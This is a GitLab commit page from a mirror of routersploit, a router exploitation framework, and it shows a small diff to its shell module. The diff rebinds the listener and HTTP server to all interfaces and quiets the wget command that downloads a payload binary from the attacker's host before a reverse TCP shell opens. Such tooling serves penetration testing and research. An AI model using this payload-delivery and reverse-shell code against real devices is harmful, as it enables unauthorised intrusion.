Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
f538af1d
Unverified
Commit
f538af1d
authored
May 28, 2018
by
Marcin Bury
Committed by
GitHub
May 28, 2018
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Fixing reverse shell with nat (#436)
parent
62b83fb4
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
7 additions
and
4 deletions
+7
-4
shell.py
routersploit/core/exploit/shell.py
+7
-4
No files found.
routersploit/core/exploit/shell.py
View file @
f538af1d
...
...
@@ -224,7 +224,9 @@ class Communication(object):
# run http server
self
.
mutex
=
True
thread
=
threading
.
Thread
(
target
=
self
.
http_server
,
args
=
(
self
.
options
[
"lhost"
],
self
.
options
[
"lport"
]))
all_interfaces
=
"0.0.0.0"
thread
=
threading
.
Thread
(
target
=
self
.
http_server
,
args
=
(
all_interfaces
,
self
.
options
[
"lport"
]))
thread
.
start
()
while
self
.
mutex
:
...
...
@@ -236,7 +238,7 @@ class Communication(object):
# wget binary
print_status
(
"Using wget to download binary"
)
cmd
=
"{} http://{}:{}/{} -O {}/{}"
.
format
(
binary
,
cmd
=
"{} http://{}:{}/{} -
q
O {}/{}"
.
format
(
binary
,
self
.
options
[
"lhost"
],
self
.
options
[
"lport"
],
self
.
binary_name
,
...
...
@@ -328,9 +330,10 @@ class Communication(object):
return
commands
def
reverse_tcp
(
self
):
sock
=
self
.
listen
(
self
.
options
[
"lhost"
],
self
.
options
[
"lport"
])
all_interfaces
=
"0.0.0.0"
sock
=
self
.
listen
(
all_interfaces
,
self
.
options
[
"lport"
])
if
self
.
port_used
:
print_error
(
"Could not set up listener on {}:{}"
.
format
(
self
.
options
[
"lhost"
]
,
self
.
options
[
"lport"
]))
print_error
(
"Could not set up listener on {}:{}"
.
format
(
all_interfaces
,
self
.
options
[
"lport"
]))
return
# execute binary
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment